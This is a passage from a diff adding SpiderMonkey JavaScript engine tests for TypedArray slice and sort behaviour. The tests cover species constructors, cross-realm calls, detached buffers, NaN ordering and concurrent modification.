+ const elementSize = constructor.BYTES_PER_ELEMENT;
+ let ts = new constructor(new SharedArrayBuffer(10 * elementSize));
+ for (let i = 0; i < ts.length; i++) {
+ ts[i] = i + 1;
+ }
+ let ab = ts.buffer;
+ let ta = new constructor(ab, 0, 6);
+ ta.constructor = {
+ [Symbol.species]: function(len) {
+ setSharedObject(ab);
+ try {
+ return otherGlobal.eval(`
+ new ${constructor.name}(getSharedObject(), ${2 * elementSize}, ${len});
+ `);
+ } finally {
+ setSharedObject(null);
+ }
+ }
+ };
+ let tb = ta.slice(0);
+
+ assertEqArray(ta, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(tb, [1, 2, 1, 2, 1, 2]);
+ assertEqArray(new constructor(ab), [1, 2, 1, 2, 1, 2, 1, 2, 9, 10]);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-species.js b/js/src/tests/non262/TypedArray/slice-species.js
new file mode 100644
index 0000000000..8a03f2f6ee
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-species.js
@@ -0,0 +1,49 @@
+for (var constructor of typedArrayConstructors) {
+ // Basic tests for our SpeciesConstructor implementation.
+ var undefConstructor = new constructor(2);
+ undefConstructor.constructor = undefined;
+ assertDeepEq(undefConstructor.slice(1), new constructor(1));
+
+ assertThrowsInstanceOf(() => {
+ var strConstructor = new constructor;
+ strConstructor.constructor = "not a constructor";
+ strConstructor.slice(123);
+ }, TypeError, "Assert that we have an invalid constructor");
+
+ // If obj.constructor[@@species] is undefined or null then the default
+ // constructor is used.
+ var mathConstructor = new constructor(8);
+ mathConstructor.constructor = Math.sin;
+ assertDeepEq(mathConstructor.slice(4), new constructor(4));
+
+ var undefSpecies = new constructor(2);
+ undefSpecies.constructor = { [Symbol.species]: undefined };
+ assertDeepEq(undefSpecies.slice(1), new constructor(1));
+
+ var nullSpecies = new constructor(2);
+ nullSpecies.constructor = { [Symbol.species]: null };
+ assertDeepEq(nullSpecies.slice(1), new constructor(1));
+
+ // If obj.constructor[@@species] is different constructor, it should be
+ // used.
+ for (var constructor2 of typedArrayConstructors) {
+ var modifiedConstructor = new constructor(2);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.slice(1), new constructor2(1));
+
+ var modifiedSpecies = new constructor(2);
+ modifiedSpecies.constructor = { [Symbol.species]: constructor2 };
+ assertDeepEq(modifiedSpecies.slice(1), new constructor2(1));
+ }
+
+ // If obj.constructor[@@species] is neither undefined nor null, and it's
+ // not a constructor, TypeError should be thrown.
+ assertThrowsInstanceOf(() => {
+ var strSpecies = new constructor;
+ strSpecies.constructor = { [Symbol.species]: "not a constructor" };
+ strSpecies.slice(123);
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/slice-validation.js b/js/src/tests/non262/TypedArray/slice-validation.js
new file mode 100644
index 0000000000..28d50e36f4
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice-validation.js
@@ -0,0 +1,194 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Summary: Ensure typed array validation is called for TypedArray.prototype.slice.
+
+const otherGlobal = newGlobal({newCompartment: true});
+const typedArrayLengths = [0, 1, 1024];
+
+// Note: slice uses CallTypedArrayMethodIfWrapped, which results in throwing
+// a TypeError from the wrong Realm if cross-compartment. The browser
+// runner doesn't support the "newCompartment" option, so it can't create
+// cross-compartment globals, which means it throws the error from the
+// correct Realm.
+const eitherGlobalTypeError = {
+ [Symbol.hasInstance](obj) {
+ return obj instanceof TypeError || obj instanceof otherGlobal.TypeError;
+ }
+};
+
+function createTestCases(TAConstructor, constructor, constructorCrossRealm) {
+ let testCases = [];
+ testCases.push({
+ species: constructor,
+ method: TAConstructor.prototype.slice,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructorCrossRealm,
+ method: TAConstructor.prototype.slice,
+ error: TypeError,
+ });
+ testCases.push({
+ species: constructor,
+ method: otherGlobal[TAConstructor.name].prototype.slice,
+ error: eitherGlobalTypeError,
+ });
+ return testCases;
+}
+
+// Throws TypeError when the returned value is not a typed array.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function NoTypedArrayConstructor(...args) {
+ let a = [];
+ callCount += 1;
+ return a;
+ }
+ function NoTypedArrayConstructorCrossRealm(...args) {
+ let a = new otherGlobal.Array();
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, NoTypedArrayConstructor, NoTypedArrayConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is too small.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function TooSmallConstructor(length) {
+ let a = new TAConstructor(Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ function TooSmallConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](Math.max(length - 1, 0));
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooSmallConstructor, TooSmallConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+
+ // Passes when the length is zero.
+ if (length === 0) {
+ let result = method.call(ta, 0);
+ assertEq(result.length, 0);
+ } else {
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ }
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0, 0);
+ assertEq(result.length, 0);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// No exception when array is larger than requested.
+for (const TAConstructor of anyTypedArrayConstructors) {
+ const extraLength = 1;
+
+ let callCount = 0, expectedCallCount = 0;
+ function TooLargeConstructor(length) {
+ let a = new TAConstructor(length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ function TooLargeConstructorCrossRealm(length) {
+ let a = new otherGlobal[TAConstructor.name](length + extraLength);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, TooLargeConstructor, TooLargeConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0);
+ assertEq(result.length, length + extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ let result = method.call(ta, 0, 0);
+ assertEq(result.length, extraLength);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+}
+
+// Throws TypeError exception when returned array is detached.
+if (typeof detachArrayBuffer === "function") {
+ for (const TAConstructor of typedArrayConstructors) {
+ let callCount = 0, expectedCallCount = 0;
+ function DetachConstructor(...args) {
+ let a = new TAConstructor(...args);
+ detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ function DetachConstructorCrossRealm(...args) {
+ let a = new otherGlobal[TAConstructor.name](...args);
+ otherGlobal.detachArrayBuffer(a.buffer);
+ callCount += 1;
+ return a;
+ }
+ let testCases = createTestCases(TAConstructor, DetachConstructor, DetachConstructorCrossRealm);
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+
+ for (let {species, method, error} of testCases) {
+ for (let length of typedArrayLengths) {
+ let ta = new TAConstructor(length);
+ ta.constructor = {[Symbol.species]: species};
+ assertThrowsInstanceOf(() => method.call(ta, 0, 0), error);
+ assertEq(callCount, ++expectedCallCount);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/slice.js b/js/src/tests/non262/TypedArray/slice.js
new file mode 100644
index 0000000000..0a5ce4c50b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/slice.js
@@ -0,0 +1,45 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertDeepEq(constructor.prototype.slice.length, 2);
+
+ assertDeepEq(new constructor().slice(0), new constructor());
+ assertDeepEq(new constructor().slice(0, 4), new constructor());
+ assertDeepEq(new constructor(10).slice(0, 2), new constructor(2));
+
+ assertDeepEq(new constructor([1, 2]).slice(1), new constructor([2]));
+ assertDeepEq(new constructor([1, 2]).slice(0), new constructor([1, 2]));
+ assertDeepEq(new constructor([1, 2, 3]).slice(-1), new constructor([3]));
+ assertDeepEq(new constructor([1, 2, 3, 4]).slice(-3, -1), new constructor([2, 3]));
+ assertDeepEq(new constructor([.1, .2]).slice(0), new constructor([.1, .2]));
+
+ assertDeepEq(new constructor([1, 2]).slice(-3), new constructor([1, 2]));
+ assertDeepEq(new constructor([1, 2]).slice(0, -3), new constructor());
+ assertDeepEq(new constructor([1, 2]).slice(4), new constructor());
+ assertDeepEq(new constructor([1, 2]).slice(1, 5), new constructor([2]));
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var slice = newGlobal()[constructor.name].prototype.slice;
+ assertDeepEq(slice.call(new constructor([3, 2, 1]), 1),
+ new constructor([2, 1]));
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.slice.call(invalidReceiver, 0);
+ }, TypeError, "Assert that slice fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).slice(2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
diff --git a/js/src/tests/non262/TypedArray/sort-negative-nan.js b/js/src/tests/non262/TypedArray/sort-negative-nan.js
new file mode 100644
index 0000000000..cf9a67714b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort-negative-nan.js
@@ -0,0 +1,106 @@
+// Test with all floating point typed arrays.
+const floatConstructors = anyTypedArrayConstructors.filter(isFloatConstructor);
+
+// Also test with cross-compartment wrapped typed arrays.
+if (typeof newGlobal === "function") {
+ const otherGlobal = newGlobal();
+ floatConstructors.push(otherGlobal.Float32Array);
+ floatConstructors.push(otherGlobal.Float64Array);
+}
+
+function* prod(xs, ys) {
+ for (let x of xs) {
+ for (let y of ys) {
+ yield [x, y];
+ }
+ }
+}
+
+const isLittleEndian = new Uint8Array(new Uint16Array([1]).buffer)[0] !== 0;
+
+function seti32(i32, i, v) {
+ i32[i] = v;
+}
+
+function seti64(i32, i, [hi, lo]) {
+ i32[i * 2 + isLittleEndian] = hi;
+ i32[i * 2 + !isLittleEndian] = lo;
+}
+
+const setInt = {
+ Float32: seti32,
+ Float64: seti64,
+};
+
+const NaNs = {
+ Float32: [
+ 0x7F800001|0, // smallest SNaN
+ 0x7FBFFFFF|0, // largest SNaN
+ 0x7FC00000|0, // smallest QNaN
+ 0x7FFFFFFF|0, // largest QNaN
+ 0xFF800001|0, // smallest SNaN, sign-bit set
+ 0xFFBFFFFF|0, // largest SNaN, sign-bit set
+ 0xFFC00000|0, // smallest QNaN, sign-bit set
+ 0xFFFFFFFF|0, // largest QNaN, sign-bit set
+ ],
+ Float64: [
+ [0x7FF00000|0, 0x00000001|0], // smallest SNaN
+ [0x7FF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN
+ [0x7FF80000|0, 0x00000000|0], // smallest QNaN
+ [0x7FFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN
+ [0xFFF00000|0, 0x00000001|0], // smallest SNaN, sign-bit set
+ [0xFFF7FFFF|0, 0xFFFFFFFF|0], // largest SNaN, sign-bit set
+ [0xFFF80000|0, 0x00000000|0], // smallest QNaN, sign-bit set
+ [0xFFFFFFFF|0, 0xFFFFFFFF|0], // largest QNaN, sign-bit set
+ ],
+};
+
+// %TypedArray%.prototype.sort
+const TypedArraySort = Int32Array.prototype.sort;
+
+// Test with small and large typed arrays.
+const typedArrayLengths = [16, 4096];
+
+for (const [TA, taLength] of prod(floatConstructors, typedArrayLengths)) {
+ let type = TA.name.slice(0, -"Array".length);
+ let nansLength = NaNs[type].length;
+ let fta = new TA(taLength);
+ let i32 = new Int32Array(fta.buffer);
+
+ // Add NaNs in various representations at the start of the typed array.
+ for (let i = 0; i < nansLength; ++i) {
+ setInt[type](i32, i, NaNs[type][i]);
+ }
+
+ // Also add two non-NaN values for testing.
+ fta[nansLength] = 123;
+ fta[nansLength + 1] = -456;
+
+ // Sort the array and validate sort() sorted all elements correctly.
+ TypedArraySort.call(fta);
+
+ // |-456| should be sorted to the start.
+ assertEq(fta[0], -456);
+
+ // Followed by a bunch of zeros,
+ const zeroOffset = 1;
+ const zeroCount = taLength - nansLength - 2;
+ for (let i = 0; i < zeroCount; ++i) {
+ assertEq(fta[zeroOffset + i], 0, `At offset: ${zeroOffset + i}`);
+ }
+
+ // and then |123|.
+ assertEq(fta[zeroOffset + zeroCount], 123);
+
+ // And finally the NaNs.
+ const nanOffset = zeroCount + 2;
+ for (let i = 0; i < nansLength; ++i) {
+ // We don't assert a specific NaN value is present, because this is
+ // not required by the spec and we don't provide any guarantees NaN
+ // values are either unchanged or canonicalized in sort().
+ assertEq(fta[nanOffset + i], NaN, `At offset: ${nanOffset + i}`);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort-non-function.js b/js/src/tests/non262/TypedArray/sort-non-function.js
new file mode 100644
index 0000000000..bea810457a
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort-non-function.js
@@ -0,0 +1,22 @@
+// %TypedArray%.prototype.sort throws if the comparator is neither undefined nor
+// a callable object.
+
+// Use a zero length typed array, so we can provide any kind of callable object
+// without worrying that the function is actually a valid comparator function.
+const typedArray = new Int32Array(0);
+
+// Throws if the comparator is neither undefined nor callable.
+for (let invalidComparator of [null, 0, true, Symbol(), {}, []]) {
+ assertThrowsInstanceOf(() => typedArray.sort(invalidComparator), TypeError);
+}
+
+// Doesn't throw if the comparator is undefined or a callable object.
+for (let validComparator of [undefined, () => {}, Math.max, class {}, new Proxy(function(){}, {})]) {
+ typedArray.sort(validComparator);
+}
+
+// Also doesn't throw if no comparator was provided at all.
+typedArray.sort();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/sort_basics.js b/js/src/tests/non262/TypedArray/sort_basics.js
new file mode 100644
index 0000000000..3338861507
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_basics.js
@@ -0,0 +1,73 @@
+// Note: failed runs should include their "SEED" value in error messages,
+// setting "const SEED" to that value will recreate the data from any such run.
+const SEED = (Math.random() * 10) + 1;
+
+// Fill up an array buffer with random values and return it in raw form.
+// 'size' is the desired length of the view we will place atop the buffer,
+// 'width' is the bit-width of the view we plan on placing atop the buffer,
+// and 'seed' is an initial value supplied to a pseudo-random number generator.
+function genRandomArrayBuffer(size, width, seed) {
+ let buf = new ArrayBuffer((width / 8) * size);
+ let arr = new Uint8Array(buf);
+ let len = 0;
+ // We generate a random number, n, where 0 <= n <= 255 for every space
+ // available in our buffer.
+ for (let n of XorShiftGenerator(seed, buf.byteLength))
+ arr[len++] = n;
+ return buf;
+}
+
+// Because we can generate any possible combination of bits, some floating point
+// entries will take on -Infinity, Infinity, and NaN values. This function ensures
+// that a is <= b, where, like the default comparator, -Infinity < Infinity and
+// every non-NaN < NaN.
+function lte(a, b) {
+ if (isNaN(b))
+ return true;
+ return a <= b;
+}
+
+// A a >= b counterpart to the helper function above.
+function gte(a, b) {
+ return lte(b, a);
+}
+
+// A custom comparator.
+function cmp(a, b) {
+ return lte(a, b) ? gte(a, b) ? 0 : -1 : 1;
+}
+
+function SortTest(dataType, dataSource) {
+ let typedArray = new dataType(dataSource);
+ let originalValues = Array.from(typedArray);
+
+ // Test the default comparator
+ typedArray.sort();
+
+ // Test against regular array sort
+ assertEqArray(Array.from(typedArray), Array.from(originalValues).sort(cmp),
+ `The array is not properly sorted! seed: ${SEED}`);
+
+ // Another sanity check
+ for (let i=0; i < typedArray.length - 1; i++)
+ assertEq(lte(typedArray[i], typedArray[i + 1]), true,
+ `The array is not properly sorted! ${typedArray[i]} > ${typedArray[i + 1]}, seed: ${SEED}`)
+
+ // Test custom comparators
+ typedArray.sort((x, y) => cmp(y, x));
+
+ // The array should be in reverse order
+ for (let i=typedArray.length - 2; i >= 0; i--)
+ assertEq(gte(typedArray[i], typedArray[i + 1]), true,
+ `The array is not properly sorted! ${typedArray[i]} < ${typedArray[i + 1]}, seed: ${SEED}`)
+}
+
+for (let constructor of anyTypedArrayConstructors) {
+ for (let arrayLength of [512, 256, 16, 0]) {
+ let source = genRandomArrayBuffer(arrayLength, constructor.BYTES_PER_ELEMENT * 8, SEED);
+ SortTest(constructor, source);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_byteoffset.js b/js/src/tests/non262/TypedArray/sort_byteoffset.js
new file mode 100644
index 0000000000..b4e262c450
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_byteoffset.js
@@ -0,0 +1,30 @@
+// Ensure that when sorting TypedArrays we don't
+// ignore byte offsets (bug 1290579).
+
+var sortFunctions = [Int32Array.prototype.sort];
+
+// Also test with cross-compartment wrapped typed arrays.
+if (typeof newGlobal === "function") {
+ var otherGlobal = newGlobal();
+ sortFunctions.push(newGlobal().Int32Array.prototype.sort);
+}
+
+// The bug manifests itself only with Float arrays,
+// but checking everything here just for sanity.
+
+for (var ctor of anyTypedArrayConstructors) {
+ var ab = new ArrayBuffer(1025 * ctor.BYTES_PER_ELEMENT);
+ var ta = new ctor(ab, ctor.BYTES_PER_ELEMENT, 1024);
+
+ // |testArray[0]| shouldn't be modified when sort() is called below.
+ var testArray = new ctor(ab, 0, 1);
+ testArray[0] = 1;
+
+ for (var sortFn of sortFunctions) {
+ sortFn.call(ta);
+ assertEq(testArray[0], 1);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_comparators.js b/js/src/tests/non262/TypedArray/sort_comparators.js
new file mode 100644
index 0000000000..ca190948fc
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_comparators.js
@@ -0,0 +1,32 @@
+// Ensure that sorts finish even if a comparator adds items
+// Note: the array is not expected to be properly sorted.
+let outsideArray = new Int32Array([1, 99, 2]);
+function addingComparator(x, y) {
+ if (x == 99 || y == 99) {
+ outsideArray[0] = 101;
+ outsideArray[outsideArray.length - 1] = 102;
+ }
+ return x - y;
+}
+outsideArray.sort(addingComparator);
+assertEq(outsideArray.every(x => [1, 2, 99, 101, 102].includes(x)), true);
+
+// Ensure that sorts finish even if a comparator calls sort again
+// Note: the array is not expected to be properly sorted.
+outsideArray = new Int32Array([1, 99, 2]);
+function recursiveComparator(x, y) {
+ outsideArray.sort();
+ return x - y;
+}
+outsideArray.sort(recursiveComparator);
+assertEq(outsideArray.every(x => outsideArray.includes(x)), true)
+
+// Ensure that NaN's returned from custom comparators behave as / are converted
+// to +0s.
+let nanComparatorData = [2112, 42, 1111, 34];
+let nanComparatorArray = new Int32Array(nanComparatorData);
+nanComparatorArray.sort((x, y) => NaN);
+assertEq(nanComparatorData.every(x => nanComparatorArray.includes(x)), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_compare_nan.js b/js/src/tests/non262/TypedArray/sort_compare_nan.js
new file mode 100644
index 0000000000..c9af7dff77
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_compare_nan.js
@@ -0,0 +1,12 @@
+// Returning zero from the sort comparator...
+let ta = new Int32Array([0, 1]).sort(() => 0);
+assertEq(ta[0], 0);
+assertEq(ta[1], 1);
+
+// ... should give the same result as returning NaN.
+let tb = new Int32Array([0, 1]).sort(() => NaN);
+assertEq(tb[0], 0);
+assertEq(tb[1], 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_errors.js b/js/src/tests/non262/TypedArray/sort_errors.js
new file mode 100644
index 0000000000..f3bdc05b20
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_errors.js
@@ -0,0 +1,87 @@
+// Ensure that TypedArrays throw when attempting to sort a detached ArrayBuffer
+if (typeof detachArrayBuffer === "function") {
+ assertThrowsInstanceOf(() => {
+ let buffer = new ArrayBuffer(32);
+ let array = new Int32Array(buffer);
+ detachArrayBuffer(buffer);
+ array.sort();
+ }, TypeError);
+}
+
+// Ensure detaching buffer in comparator doesn't throw an error.
+if (typeof detachArrayBuffer === "function") {
+ let detached = false;
+ let ta = new Int32Array(3);
+ ta.sort(function(a, b) {
+ if (!detached) {
+ detached = true;
+ detachArrayBuffer(ta.buffer);
+ }
+ return a - b;
+ });
+ assertEq(detached, true);
+}
+
+// Ensure detachment check doesn't choke on wrapped typed array.
+if (typeof newGlobal === "function") {
+ let ta = new Int32Array(3);
+ let otherGlobal = newGlobal();
+ otherGlobal.Int32Array.prototype.sort.call(ta, function(a, b) {
+ return a - b;
+ });
+}
+
+// Ensure detaching buffer in comparator doesn't throw an error when the typed array is wrapped.
+if (typeof newGlobal === "function" && typeof detachArrayBuffer === "function") {
+ let detached = false;
+ let ta = new Int32Array(3);
+ let otherGlobal = newGlobal();
+ otherGlobal.Int32Array.prototype.sort.call(ta, function(a,b) {
+ if (!detached) {
+ detached = true;
+ detachArrayBuffer(ta.buffer);
+ }
+ return a - b;
+ });
+ assertEq(detached, true);
+}
+
+// Ensure that TypedArray.prototype.sort will not sort non-TypedArrays
+assertThrowsInstanceOf(() => {
+ let array = [4, 3, 2, 1];
+ Int32Array.prototype.sort.call(array);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ Int32Array.prototype.sort.call({a: 1, b: 2});
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ Int32Array.prototype.sort.call(Int32Array.prototype);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ let buf = new ArrayBuffer(32);
+ Int32Array.prototype.sort.call(buf);
+}, TypeError);
+
+// Ensure that comparator errors are propagataed
+function badComparator(x, y) {
+ if (x == 99 && y == 99)
+ throw new TypeError;
+ return x - y;
+}
+
+assertThrowsInstanceOf(() => {
+ let array = new Uint8Array([99, 99, 99, 99]);
+ array.sort(badComparator);
+}, TypeError);
+
+assertThrowsInstanceOf(() => {
+ let array = new Uint8Array([1, 99, 2, 99]);
+ array.sort(badComparator);
+}, TypeError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_globals.js b/js/src/tests/non262/TypedArray/sort_globals.js
new file mode 100644
index 0000000000..6bab6a3913
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_globals.js
@@ -0,0 +1,9 @@
+// TypedArray.prototype.sort should work across globals
+let g2 = newGlobal();
+assertEqArray(
+ Int32Array.prototype.sort.call(new g2.Int32Array([3, 2, 1])),
+ new Int32Array([1, 2, 3])
+);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_modifications.js b/js/src/tests/non262/TypedArray/sort_modifications.js
new file mode 100644
index 0000000000..2a6ed49eb7
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_modifications.js
@@ -0,0 +1,73 @@
+const TAConstructors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Uint8ClampedArray,
+ Float32Array,
+ Float64Array,
+ BigInt64Array,
+ BigUint64Array,
+];
+
+// Use different size classes to catch any implementation-specific
+// optimisations.
+const sizes = [
+ 4, 8, 64, 128, 1024
+];
+
+function ToNumeric(TA) {
+ if (TA === BigInt64Array || TA === BigUint64Array) {
+ return BigInt;
+ }
+ return Number;
+}
+
+function ascending(a, b) {
+ return a < b ? -1 : a > b ? 1 : 0;
+}
+
+function descending(a, b) {
+ return -ascending(a, b);
+}
+
+for (let TA of TAConstructors) {
+ let toNumeric = ToNumeric(TA);
+ for (let size of sizes) {
+ let sorted = new TA(size);
+
+ // Fill with |1..size| and then sort to account for wrap-arounds.
+ for (let i = 0; i < size; ++i) {
+ sorted[i] = toNumeric(i + 1);
+ }
+ sorted.sort();
+
+ // Create a copy in descending order.
+ let ta = new TA(sorted);
+ ta.sort(descending);
+
+ // Sort the copy in ascending order and on the first call reset all
+ // elements to zero.
+ let called = false;
+ ta.sort(function(a, b) {
+ if (!called) {
+ called = true;
+ ta.fill(toNumeric(0));
+ }
+ return ascending(a, b);
+ });
+
+ // Ensure the comparator function was called.
+ assertEq(called, true);
+
+ // All elements should be sorted correctly. No elements should be zero.
+ for (let i = 0; i < size; ++i) {
+ assertEq(ta[i], sorted[i], `${TA.name} at index ${i} for size ${size}`);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/sort_modifications_concurrent.js b/js/src/tests/non262/TypedArray/sort_modifications_concurrent.js
new file mode 100644
index 0000000000..99493df800
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/sort_modifications_concurrent.js
@@ -0,0 +1,145 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+if (helperThreadCount() === 0) {
+ if (typeof reportCompare === "function")
+ reportCompare(true, true);
+ quit();
+}
+
+const TAConstructors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Uint8ClampedArray,
+ Float32Array,
+ Float64Array,
+ BigInt64Array,
+ BigUint64Array,
+];
+
+// Use different size classes to catch any implementation-specific
+// optimisations.
+const sizes = [
+ 4, 8, 64, 128, 1024
+];
+
+function ToNumeric(TA) {
+ if (TA === BigInt64Array || TA === BigUint64Array) {
+ return BigInt;
+ }
+ return Number;
+}
+
+function ToAtomicTA(TA) {
+ switch (TA) {
+ case Int8Array:
+ case Int16Array:
+ case Int32Array:
+ case Uint8Array:
+ case Uint16Array:
+ case Uint32Array:
+ case BigInt64Array:
+ case BigUint64Array:
+ return TA;
+ case Uint8ClampedArray:
+ return Uint8Array;
+ case Float32Array:
+ return Uint32Array;
+ case Float64Array:
+ return BigUint64Array;
+ }
+ throw new Error("Invalid typed array kind");
+}
+
+function ascending(a, b) {
+ return a < b ? -1 : a > b ? 1 : 0;
+}
+
+function descending(a, b) {
+ return -ascending(a, b);
+}
+
+for (let TA of TAConstructors) {
+ let toNumeric = ToNumeric(TA);
+ for (let size of sizes) {
+ let sorted = new TA(size);
+
+ // Fill with |1..size| and then sort to account for wrap-arounds.
+ for (let i = 0; i < size; ++i) {
+ sorted[i] = toNumeric(i + 1);
+ }
+ sorted.sort();
+
+ let extra = Math.max(TA.BYTES_PER_ELEMENT, Int32Array.BYTES_PER_ELEMENT);
+ let buffer = new SharedArrayBuffer(size * TA.BYTES_PER_ELEMENT + extra);
+ let controller = new Int32Array(buffer, 0, 1);
+
+ // Create a copy in descending order.
+ let ta = new TA(buffer, extra, size);
+ ta.set(sorted)
+ ta.sort(descending);
+
+ // Worker code expects that the last element changes when sorted.
+ assertEq(ta[size - 1] === sorted[size - 1], false);
+
+ setSharedObject(buffer);
+
+ evalInWorker(`
+ const ToNumeric = ${ToNumeric};
+ const ToAtomicTA = ${ToAtomicTA};
+ const TA = ${TA.name};
+ const AtomicTA = ToAtomicTA(TA);
+
+ let size = ${size};
+ let extra = ${extra};
+
+ let toNumeric = ToNumeric(AtomicTA);
+ let buffer = getSharedObject();
+ let controller = new Int32Array(buffer, 0, 1);
+ let ta = new AtomicTA(buffer, extra, size);
+
+ let value = Atomics.load(ta, size - 1);
+
+ // Coordinate with main thread.
+ while (Atomics.notify(controller, 0, 1) < 1) ;
+
+ // Wait until modification of the last element.
+ //
+ // Sorting writes in ascending indexed ordered, so when the last element
+ // was modified, we know that the sort operation has finished.
+ while (Atomics.load(ta, size - 1) === value) ;
+
+ // Set all elements to zero.
+ ta.fill(toNumeric(0));
+
+ // Sleep for 50 ms.
+ const amount = 0.05;
+
+ // Coordinate with main thread.
+ while (Atomics.notify(controller, 0, 1) < 1) {
+ sleep(amount);
+ }
+ `);
+
+ // Wait until worker is set-up.
+ assertEq(Atomics.wait(controller, 0, 0), "ok");
+
+ // Sort the array in ascending order.
+ ta.sort();
+
+ // Wait until worker has finished.
+ assertEq(Atomics.wait(controller, 0, 0), "ok");
+
